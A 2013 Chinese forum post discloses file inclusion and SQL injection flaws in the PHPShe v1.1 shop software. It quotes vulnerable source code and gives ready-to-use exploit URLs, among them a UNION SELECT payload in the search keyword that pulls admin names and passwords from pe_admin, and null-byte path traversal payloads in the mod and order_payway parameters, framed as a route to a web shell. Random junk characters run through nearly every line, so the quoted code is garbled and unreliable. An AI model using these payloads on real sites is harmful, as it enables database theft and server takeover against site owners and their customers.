找回密码
 立即注册
查看: 2512|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-16 16:45:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/4 Y0 H; J3 a1 ~" Q8 ?) B% Y% F
/* Phpshe v1.1 Vulnerability
5 V, V2 v4 @4 C" U" _/ G0 K; Q3 H% x/* ========================
& L" ~' X9 w( s" e/* By: : Kn1f3  E% f* z4 Q2 y' }  g$ j
/* E-Mail : 681796@qq.com) a' D8 x5 y. W6 D; X$ \9 R
/*******************************************************/
! V3 G) i% s7 L0 _0 S5 W0×00 整体大概参数传输8 R; I- y4 n7 ?; A; D

# `# t/ ^8 C7 ~, U- B7 n+ d: F7 ^- W; t$ G; e# P

0 v- D: `0 m" x6 Q/ D" B//common.php5 |5 g) N, v4 X8 a  I+ _
if (get_magic_quotes_gpc()) {
) D" z" X$ P2 F3 y* j!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
$ l0 Y& b8 }5 L( [0 u( k6 }2 w!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
1 w5 j) v+ a  Z) t}
& J/ L2 B; k$ R2 e1 K( Aelse {/ R/ h$ h" Z9 Y3 G
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');6 [5 i! S& p  v$ e) X( v, D( z
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');2 a% |3 \  f' f) \! H
}
( L( U8 v0 U' i( x$ [, l6 Fsession_start();+ j$ _- S* y( p" H
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');3 y0 w" c# M  Z; \! H: d% r) ]
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');' B7 k$ S7 a+ Z& e

- k- f, V+ Z  I+ k: a0×01 包含漏洞
$ W0 a% I5 e; C  E, I9 v: D# T: s( ] ; A6 A( y' f5 M8 |6 P2 {

7 M& G: Y' ^7 j8 s0 H4 Z5 g7 T//首页文件  J. f9 n6 }1 n6 }; d
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
- _8 L: b& I. v5 Q2 Minclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
8 w; l  t2 M/ ]* Fpe_result();2 i3 p6 k* I8 c: z$ d- g
?>
4 _: s, m5 {% x//common 文件 第15行开始
1 F. z/ b3 U6 w$ ]0 @0 Zurl路由配置, ]5 v( h) u+ Z8 [' i6 p
$module = $mod = $act = 'index';
3 \5 O3 G8 Y+ T; z' U+ S$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
6 L% V; T" x3 U: I2 f* |$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
; z. N& o& A: J$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);2 g/ Y5 W0 m+ l9 T6 L7 S% M7 G4 d
//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00: ]& d" s( K+ P$ h


- K# R1 T$ b7 a& K. B' V   Z: H6 U8 \; p' d9 a
0×02 搜索注入
; Y; i4 x8 V$ t+ I. r2 d" z7 ]
+ I3 U$ {. u2 P- C" M% h<code id="code2">

//product.php文件
% o# C6 H, r! I; L+ Icase 'list':
: |( y( ]2 c+ q  U! g+ W$category_id = intval($id);
/ [1 t' C7 d9 y# J3 r$info = $db->pe_select('category', array('category_id'=>$category_id));
/ d" m+ R2 L! E4 z- I" k/ s$ w( |' k: U% g//搜索$ p& D" Q/ N/ k3 Q2 [8 p/ }' p/ Z
$sqlwhere = " and `product_state` = 1";4 V' z, L  a5 ~: N) D  b
pe_lead('hook/category.hook.php');
. Z* I: j; r& W/ uif ($category_id) {0 \- V- k, g4 q  i4 g6 X
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";6 t. ~4 {9 P' S+ \
}
4 V; T# R) A9 S5 z$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤$ B: b# M/ b. W9 ~
if ($_g_orderby) {
9 H" y" i: k9 V  [# Y$orderby = explode('_', $_g_orderby);
/ w2 P' j- n) U: X$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";$ c$ l. I- D1 D" y. y: W# W
}3 d  u' A! l- a1 |& n  J
else {. g. ^- {' j6 x) ^* }2 L& s9 H
$sqlwhere .= " order by `product_id` desc";
! M8 u3 l' B! \% O8 n* U}
9 G; _, ^/ G7 y$ l7 p$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));" c0 `( p' t, a2 W3 v/ H) n
//热卖排行" i" Y8 I4 K* h1 m5 [- |7 P2 A
$product_hotlist = product_hotlist();
# L! t+ J9 M6 e" f//当前路径
2 {6 `& L5 k0 V$nowpath = category_path($category_id);
1 |6 A& l6 `, L, Q0 [0 t$seo = pe_seo($info['category_name']);0 @1 ?8 o1 ]+ K: i3 c
include(pe_tpl('product_list.html'));; u8 K" |4 ]7 F% P, ~9 j* I( P
//跟进selectall函数库! E: y- Q2 y2 s8 }0 N$ D( K  P
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())5 U  [: Z( Z. X5 X
{3 b% v5 P) I) j
//处理条件语句
/ f& N2 C" d3 l. g$sqlwhere = $this->_dowhere($where);: v. w8 X4 l6 I1 Y4 n
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);" E# f' j4 L5 a) Z9 N+ U1 B; n
}
% I7 v4 L& a8 X$ w//exp
/ w/ h1 U; ?5 V3 k7 k& M' P6 }product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1% V- C; b1 k. e( T. K* {5 k

</code>
4 k& n, e) f6 c' U# h & I5 Y0 e* A' P9 f  @$ `% c
0×03 包含漏洞23 a+ G) @4 T1 F1 |

0 n) g0 Y1 V6 k) h# ^& {" F- v<code id="code3">

//order.php

case 'pay':

$ I9 A' g6 a) P: c- L# s, W
$order_id = pe_dbhold($_g_id);


) v: S, s/ E& K' o4 H$cache_payway = cache::get('payway');


. d- e* o; Z: [: E3 K/ ~8 hforeach($cache_payway as $k => $v) {

' u8 j$ o  X6 V! |$ T
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

' _  l8 E! P9 l# D* q/ c# y
if ($k == 'bank') {


* a0 `* J7 y8 H/ [# h$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

1 V) }9 r' l8 g2 b+ G7 y
}

! n6 V# o$ B  Q2 E" Z9 c
}


; G; y1 [0 r+ g: A1 f$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


5 y/ l7 X+ Y0 P4 G* e- y; s!$order['order_id'] && pe_error('订单号错误...');


& _3 G3 z$ t; M/ m2 R+ Rif (isset($_p_pesubmit)) {

0 r( e0 _: [; v; G! L: V0 \9 I) g
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


/ |! Z) E+ r5 Z/ W# b0 h( u) s$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


- A: v3 A7 m- F' k: M8 `( Gforeach ($info_list as $v) {


" \  I0 }" ]3 c5 K( H9 _. J5 H$order['order_name'] .= "{$v['product_name']};";' k0 O" z) u/ ~- B' {

6 E! D" ^. p1 W# B$ \* ~( S; p( o. j
}

0 _% e5 t( t0 D( q
echo '正在为您连接支付网站,请稍后...';


% {' d/ b9 r1 V$ P! `include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

+ {' v  W7 m2 `6 M. @7 s
}//当一切准备好的时候就可以进行"鸡肋包含了"

6 B8 g0 A. e5 [& b. b; b
else {


  G0 v6 F5 Y6 A5 D5 }pe_error('支付错误...');


* e; y/ Y7 h' p7 _  ]% \  m}


  v( t% [* |4 V) w3 m4 z}


$ W4 s5 p5 Q0 v) O# \$seo = pe_seo('选择支付方式');

" }1 S$ v( B6 c( S
include(pe_tpl('order_pay.html'));


# @  ], f8 i4 U9 G# T% Hbreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>: D1 Q3 r! ]. Z
http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表